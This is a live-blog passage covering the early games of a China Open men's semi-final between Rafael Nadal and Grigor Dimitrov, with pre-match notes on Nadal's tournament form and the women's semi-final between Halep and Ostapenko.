Nadal 2-1 Dimitrov*: Good rhythm on the Nadal serve already as he gets a second love hold, including a rather speculative drop-shot from Dimitrov that hits the net. That looks like an effort to bring Nadal closer to the byline.

*Nadal 1-1 Dimitrov: Dimitrov holds to 15 to get himself on the board. A nice settler for the world No 8.

Nadal 1-0 Dimitrov*: The roof is shut in China because it’s pretty wet out there so the applause for Nadal’s first winner echoes around the stadium.

Nadal is expected to target Dimitrov’s single-handed backhand off his serve and does so successfully at 30-0 and 40-0. Love hold.

9.35am: Dimitrov and Nadal out on court, knocking up as we speak. Minutes away.

9.15am: Nadal has been in pretty good form in China although it was not a perfect start.

The Spaniard dropped his first set of the tournament to Lucas Pouille but eventually came through to win 4-6, 7-6, 7-5.

Since then, it’s been plain sailing with wins over Karen Khachanov and John Isner with his eyes firmly set on a fourth China Open final.

And he is moments away now – Halep has taken the second set and a win over the No 8 seed to book her place in the final.

9am: So we are expecting Nadal and Dimitrov on court no earlier than 9.30am but we could start later than that – especially if French Open champion Jelena Ostapenko digs her heels in. The Latvian is on the main court before the men’s semi-final and while she lost the first set to No 2 seed Simona Halep, she is fighting at 4-4 in the second.

Assuming they do get done in time though, we’ve got about half an hour until the men’s world No 1 takes to the court.

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